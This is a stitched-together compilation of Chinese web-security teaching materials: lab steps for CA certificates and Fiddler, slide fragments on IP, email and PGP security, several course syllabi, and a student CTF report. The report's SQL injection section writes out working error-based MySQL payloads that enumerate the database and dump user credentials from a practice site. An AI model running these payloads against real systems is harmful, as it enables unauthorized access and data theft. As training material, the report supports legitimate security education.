web安全().课程设计
web安全简明实验教程
web安全简明实验教程Web安全实验教程实验一：Web安全实践实验步骤1：准备阶段确保已安装好所需的工具，如CA（Certificate Authority）证书和浏览器等。
步骤2：CA给浏览器厂商发公钥确保CA证书已经安装在浏览器中。
步骤3：阿里把公钥给CA，CA用自己的私钥加密阿里的公钥，返回给阿里使用阿里提供的公钥和CA的私钥进行加密，并将加密后的信息返回给阿里。
步骤4：用户用浏览器访问阿里的网站，阿里把用CA的私钥加密过的自己的公钥给用户用户在浏览器中输入阿里的网址，访问阿里的网站。
阿里将用CA的私钥加密过的公钥发送给用户。
步骤5：用户用浏览器中的CA公钥解密阿里公钥，正确配对则信任访问的网站用户在浏览器中使用CA的公钥对阿里公钥进行解密，如果解密成功且信息正确，则表示用户信任该网站。
实验二：Fiddler修改HTTP请求步骤1：打开Fiddler软件，并确保已经捕获到所需的HTTP请求。
步骤2：在菜单栏中单击“Rules”＞“Automatic Breakpoint”＞“Disable”，以禁用自动断点。
步骤3：在Fiddler界面中，找到并选中需要修改的HTTP请求。
步骤4：在右侧的“Inspectors”面板中，选择“Raw”选项卡，以查看请求的原始内容。
步骤5：根据需要对HTTP请求进行修改，如修改请求头、请求体或URL 等。
步骤6：修改完成后，重新发送请求以查看效果。
实验三：Fiddler修改HTTP响应——修改网页标题步骤1：打开Fiddler软件，并确保已经捕获到所需的HTTP响应。
步骤2：在Fiddler界面中，找到并选中需要修改的HTTP响应。
步骤3：在右侧的“Inspectors”面板中，选择“Raw”选项卡，以查看响应的原始内容。
步骤4：根据需要修改响应的内容，如网页标题、正文内容等。
步骤5：修改完成后，重新发送响应以查看效果。
Web安全技术-PPT课件
针对公钥的攻击
修改公钥中的签名，并且标记它为公钥中已经检查过 的签名，使得系统不会再去检查它。 针对PGP的使用过程，修改公钥中的有效位标志，使 一个无效的密钥被误认为有效。
3.安全扫描技术
基本原理 采用模拟黑客攻击的形式对目标可能存在的 已知的安全漏洞进行逐项检查，然后根据扫 描结果向系统管理员提供周密可靠的安全性 分析报告，为网络安全的整体水平产生重要 的依据。
利用SSL SMTP和SSL POP 利用பைடு நூலகம்PN或其他的IP通道技术，将所有的TCP/IP 传输封装起
E-mail的安全隐患
密码被窃取 邮件内容被截获 附件中带有大量病毒 邮箱炸弹的攻击 本身设计上的缺陷
PGP（Pretty Good Privacy） 使用单向单列算法对邮件内容进行签名，以 此保证信件内容无法被篡改，使用公钥和私 钥技术保证邮件内容保密已不可否认。 特征：
第九章 Web安全技术
主要内容
IP安全技术 E-mail安全技术 安全扫描技术 网络安全管理技术 身份认证技术 VPN技术
1. IP安全技术
目前常见的安全威胁
数据泄漏 在网络上传输的明文信息被未授权的组织或个人所截获， 造成信息泄漏。 数据完整性的破坏 确保信息的内容不会以任何方式被修改，保证信息到达 目的地址时内容与源发地址时内容一致。 身份伪装 入侵者伪造合法用户的身份来登录系统，存取只有合法 用户本人可存取的保密信息。 拒绝服务 由于攻击者攻击造成系统不能正常的提供应有的服务或 系统崩溃。
VPN原理
VPN客 户 端 软 件
Internet
移 动 用 户 终 端
VPN网 关 终 端 局 域 网 VPN网 关 局 域 网
高职《Web安全攻防》课程教学设计
高职《Web安全攻防》课程教学设计王彩梅（武汉软件工程职业学院，湖北武汉430205）摘要：《Web安全攻防》课程是我校信息安全与管理专业的一门核心课程，该课程对学生职业岗位能力培养和职业素质养成起主要支撑作用。
课程要求学生知识面广、自主学习能力强，为了克服课堂教学的局限性，该文利用线上教学的优势，将线上预习、复习和拓展作为线下课堂教学的补充进行教学改进，以XSS漏洞攻防为例进行教学设计与实施，提高教学效果。
关键词：高职院校；Web安全攻防；教学设计中图分类号：G642文献标识码：A文章编号：1009-3044(2021)05-0165-02开放科学（资源服务）标识码（OSID）：2020年上半年受新冠疫情的影响，各大高校均开启了线上教学，与此同时，线上教学的优势和劣势在这半年的教学中都体现了出来。
吸取线上教学的优势，弥补课堂教学的不足，将线上教学与线下课堂教学结合起来进行完美结合，提高学生学习的效果，成为我本学期课堂教学改进的重点。
本文以《Web 安全攻防》课程为例来进行教学设计和教学实施。
1教学设计分析在进行教学设计之前，我们需要先进行线上线下教学模式分析、课程定位和学情分析。
线上教学的优点是资源丰富、学习时间和学习方式比较自由，能够培养学生独立自主学习的能力；不足之处在于当线上教学成为课堂教学的主要形式时，容易出现学生注意力不集中、老师监管不到、学生的实践环境得不到满足的情况。
课堂教学的优势是，学生实践教学环境统一，面对面教学使得学生与老师之间更容易互动，学习氛围更好，学习注意力更集中。
但缺点是课堂时间有限，学习内容也具有局限性。
《Web安全攻防》是信息安全与管理专业的专业核心课，课程开设在第四个学期。
该课程通过详细讲解每一类Web安全漏洞的原理及攻防技术的演进过程，让学生掌握每种Web安全问题的解决方案，对整个Web安全防护体系建立清晰的认知，为今后从事信息安全相关工作打下基础。
课程要求学生知识面广、肯花时间钻研、自主学习能力强。
web的课程设计
web的课程设计一、课程目标知识目标：1. 学生能够理解Web的基本概念，掌握HTML、CSS和JavaScript的基础知识。
2. 学生能够运用Web技术构建静态网页，实现页面布局、样式设计和基本交互功能。
3. 学生了解Web前端框架的使用，能够使用至少一种框架进行网页开发。
技能目标：1. 学生能够运用HTML标签创建网页结构，使用CSS进行页面样式设计，运用JavaScript实现动态交互效果。
2. 学生能够使用Web开发工具，如VS Code、Sublime Text等，编写和调试代码。
3. 学生掌握基本的网络通信原理，能够实现前后端数据交互。
情感态度价值观目标：1. 培养学生对Web技术的兴趣和热情，激发他们主动探索新技术的精神。
2. 培养学生团队协作意识，使他们能够在项目开发中与他人沟通、协作，共同解决问题。
3. 培养学生遵守网络安全规范，养成良好的网络道德素养。
课程性质：本课程为信息技术课程，旨在帮助学生掌握Web开发基础，培养实际操作能力。
学生特点：本课程针对初中生，学生对计算机操作有一定基础，对新事物充满好奇，喜欢动手实践。
教学要求：教师应以实践为主，理论联系实际，注重激发学生兴趣，鼓励学生主动探究，培养实际操作能力。
同时，关注学生个体差异，因材施教，使每个学生都能在原有基础上得到提高。
通过课程学习，使学生能够独立完成简单的Web页面开发，为后续学习打下坚实基础。
二、教学内容1. Web基础知识：包括Web概念、浏览器工作原理、网络基础等，使学生了解Web技术的基本原理。
- 教材章节：第一章 Web概述，第二章 网络基础2. HTML：HTML标签、属性、页面结构，使学生掌握构建网页的基本方法。
- 教材章节：第三章 HTML基础，第四章 HTML页面结构3. CSS：选择器、样式属性、盒模型、布局方式，使学生能够进行网页样式设计。
- 教材章节：第五章 CSS基础，第六章 CSS布局4. JavaScript：基本语法、函数、事件处理、DOM操作，使学生实现网页的动态交互。
web程序设计期末课程设计
web程序设计期末课程设计一、课程目标知识目标：1. 理解Web程序设计的基本原理和概念，掌握常用的Web开发技术和工具；2. 学习并掌握HTML、CSS和JavaScript等前端技术，能够独立设计和实现静态网页；3. 熟悉服务器端编程语言（如PHP、Java、Python等），了解数据库的基本操作，能够实现动态网页的交互功能；4. 掌握Web安全问题及解决方法，了解网站优化与维护的基本策略。
技能目标：1. 能够运用所学知识，独立完成一个小型的Web应用程序设计，包括前端页面布局与样式设计，后端逻辑处理以及数据库操作；2. 培养学生的团队协作能力，通过分组合作，共同完成一个综合性的Web项目；3. 提高学生的编程实践能力，能够根据实际需求进行问题分析和功能设计；4. 培养学生解决实际问题的能力，包括分析问题、设计方案、动手实践和调试优化。
情感态度价值观目标：1. 培养学生对Web程序设计的兴趣和热情，激发学生主动探索新技术、新方法的积极性；2. 培养学生良好的编程习惯，注重代码规范和团队协作，提高学生的职业素养；3. 培养学生面对困难和挑战时的坚持和毅力，培养勇于克服困难、解决问题的精神；4. 通过Web程序设计课程的学习，使学生认识到互联网技术对社会发展的重要性，培养学生的社会责任感和使命感。
二、教学内容1. 前端技术基础：- HTML：文本、图像、链接、表格、表单等基本标签使用；- CSS：选择器、盒模型、布局、样式优先级、响应式设计；- JavaScript：基本语法、函数、事件处理、DOM操作、表单验证。
2. 服务器端编程：- 服务器端语言选择（如PHP、Java、Python等）；- 服务器环境配置；- 数据库基本操作：SQL语法、数据库连接、数据存储与查询；- 会话管理：Cookie和Session的使用。
3. 网站设计与实现：- 网站结构规划；- 页面布局与样式设计；- 动态交互功能实现；- 前端与后端数据交互技术：Ajax和JSON。
web标准网站课程设计
web标准网站课程设计一、课程目标知识目标：1. 让学生了解和掌握Web标准的基本概念，包括HTML、CSS和JavaScript 的使用。
2. 使学生能够理解网站结构的重要性和语义化标签的应用。
3. 让学生掌握基本的网页布局方法，包括盒模型、浮动和定位等。
技能目标：1. 培养学生运用Web标准编写简洁、规范的HTML和CSS代码的能力。
2. 培养学生利用JavaScript实现简单交互功能，如表单验证、动态内容加载等。
3. 培养学生运用Web标准进行网站设计和优化的能力。
情感态度价值观目标：1. 培养学生对Web标准的学习兴趣，激发他们的求知欲和探索精神。
2. 培养学生关注网站可用性、可访问性和用户体验，提高他们的责任感和同理心。
3. 引导学生认识到Web标准在互联网发展中的重要性，培养他们的专业素养和团队协作精神。
课程性质：本课程为实践性较强的课程，注重培养学生的动手能力和实际操作技能。
学生特点：学生具备一定的计算机操作基础，对Web技术感兴趣，但可能对Web标准了解不足。
教学要求：结合课程性质、学生特点，将课程目标分解为具体的学习成果，通过案例教学、分组讨论、实践操作等方式，使学生掌握Web标准网站设计的相关知识和技能。
同时，注重培养学生的自主学习能力、创新意识和团队协作精神，提高他们在实际项目中运用Web标准解决问题的能力。
二、教学内容1. 网站基础知识：介绍网站的基本概念，Web标准的发展历程，以及HTML、CSS、JavaScript在网站中的作用。
- 教材章节：第一章 网站与Web标准概述2. HTML基础：讲解HTML的基本结构，常用标签及其属性，语义化标签的使用。
- 教材章节：第二章 HTML基础3. CSS基础：介绍CSS的基本语法，选择器，盒模型，布局方法，浮动与定位等。
- 教材章节：第三章 CSS基础4. JavaScript基础：讲解JavaScript的基本语法，数据类型，函数，事件处理，DOM操作等。
网络安全课程设计
网络安全课程设计网络安全课程设计课程名称：网络安全课程目标：1. 了解网络安全的基本概念和原理。
2. 掌握常见的网络攻击和防范方法。
3. 培养学生的网络安全意识和自我保护能力。
4. 提升学生的网络安全技能和应急响应能力。
教学大纲：第一章网络安全概述1.1 网络安全的定义与重要性1.2 网络安全威胁与风险1.3 网络安全策略与框架第二章网络攻击与防范2.1 网络攻击类型及特征2.2 常见的网络攻击手法2.3 防火墙与入侵检测系统安装与配置2.4 网络漏洞扫描与修复第三章网络安全技术3.1 密码学基础与安全算法3.2 网络身份认证与授权3.3 安全通信与虚拟专用网络3.4 网络流量分析与安全监控第四章信息安全管理4.1 信息安全风险评估与管理4.2 数据备份与恢复4.3 安全策略与权限管理4.4 安全事件响应与处理第五章网络安全法律与伦理5.1 网络安全法律法规概述5.2 个人信息保护法律法规5.3 网络犯罪与电子取证5.4 网络伦理与职业道德教学方法：1. 理论讲授：通过教师讲解、PPT呈现等形式，向学生传授网络安全知识。
2. 实践操作：通过实验室授课，引导学生进行网络攻防实验、安全性评估等实际操作。
3. 案例分析：通过分析实际的网络安全案例，让学生深入了解网络安全风险和应对措施。
4. 小组讨论：组织学生进行小组讨论，提高学生的合作能力和解决问题的能力。
评估方式：1. 作业与实验评估：学生通过完成课程作业和实验报告，检验其对网络安全知识的理解和应用能力。
2. 课堂测试与考试：通过课堂测试和期末考试，测试学生对网络安全的掌握程度。
3. 学生自评：学生通过自评表述对课程的理解和收获，反思自身在网络安全方面的不足和需要提升的地方。
参考教材：1. 《网络安全原理与实践》2. 《网络与信息安全技术导论》3. 《网络安全与信息化技术》教学资源与设施：1. 教学实验室：配置虚拟网络环境、安全设备等。
2. 电子教学资料：提供PPT课件、教学实验指导书等电子资源。
网络安全设计课程设计
网络安全设计课程设计网络安全设计课程设计一、课程背景随着信息技术的高速发展，网络安全问题日益突出。
网络安全问题不仅涉及个人、企业、政府等各个领域的利益，还对整个社会的稳定和发展产生了重要影响。
因此，网络安全设计成为各个层面人才培养的迫切需求。
本课程的设计旨在培养学生的网络安全意识和技能，使其能够熟练掌握网络安全的基本原理、方法和技术，具备网络安全问题的识别、预防和应对能力。
二、课程目标1. 掌握网络安全的基本概念和原理；2. 熟悉常见的网络攻击方式和防范措施；3. 学会使用网络安全工具进行系统和网络的安全测试和评估；4. 掌握常见的网络安全管理措施和策略；5. 培养解决网络安全问题的能力。
三、课程内容1. 网络安全基础- 网络安全的基本概念和原理- 常见的网络攻击方式和漏洞利用技术- 安全威胁的分类和评估2. 系统和网络安全- 操作系统安全性分析- 网络安全防护技术- 网络设备的安全配置和管理3. 安全测试和评估- 安全测试的基本流程和方法- 常用的安全测试工具和技术- 漏洞扫描和渗透测试4. 网络安全管理- 安全策略的制定和实施- 安全事件管理和应急响应- 安全培训和意识提升四、教学方法1. 理论授课：通过讲解网络安全的基本理论知识，让学生建立起基本的网络安全意识；2. 实践操作：利用实验室环境，让学生通过实际操作掌握网络安全技术和工具的使用方法；3. 小组讨论：组织学生进行小组讨论，提出并解决网络安全问题，培养学生的思维能力和解决问题的能力；4.案例分析：通过分析实际的网络安全事件案例，引导学生思考并提出解决方案。
五、评价方式1. 平时表现：包括课堂出勤、课堂参与度、课堂作业和实验成绩等；2. 期末考试：对学生全面的网络安全理论知识和实操能力进行综合评价。
六、课程参考教材1. 网络安全技术与应用，李竞，机械工业出版社；2. 网络安全原理与实践，刘鑫，电子工业出版社；3. 网络安全入门与实践，赵劲松，清华大学出版社。
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web安全技术课程设计报告
2014-2015第二学期
班级：12网安3班
姓名：张孝丽
学号：1215135083
指导老师：林玉香
2015年5月28日
一.题目选择和分数
1.题目：
网络信息安全攻防学习平台 /main.php
1 基本关第3题
从这一段加密后的我看到了密文最后的等号，这是base64加密的标志。
所以就直接用网上的base64解密就可以得到我们想要的key值
其中的解密次数有很多次，在经过多次的解密后得到的明文是
所以最终提交的key值是jkljdkl232jkljkdl2389
3 注入关第一题
点击通关地址进去，出现的页面是
在url的结尾分别加入“’”、and 1=1、and 1 = 2
由此可以判断该站存在sql注入，并且可以进行手工构造url语句来获取数据库中的信息分别构造下面的sql语句
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到：5.1.61-Alibaba-rds-201404-log
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到数据库：r0866cplushua
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where
table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
猜解表名：log,motto,user，请修改limit 后面的0改变注入数据
首先根据平时的经验，我们看一下user表里面的数据，如下：
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x75736572 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到如下几个字段id,username,password 请修改limit 后面的0改变注入数据
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,password,0x7e) FROM user limit 0,1),0x7e),1)%23
猜解内容如下：
admin,password
guest,guest
test,1234
发现没有我们需要的数据，那么数据可能不在user表，接着猜解motto表。
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x6D6F74746F LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
得到如下字段：id,username,motto
/sqli7_b95cf5af3a5fbeca02564bffc63e92e5/index.php?username=admi n' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e,username,0x3a,motto,0x7e) FROM motto limit 0,1),0x7e),1)%23
得到如下内容：（请修改limit 后面的0改变注入数据）
admin:mymotto
guest:happy everyday
test:nothing help
#adf#ad@@#:key#notfound!#
由于题目中提到flag中不带key和#
所以最后所得的key值是：notfound!。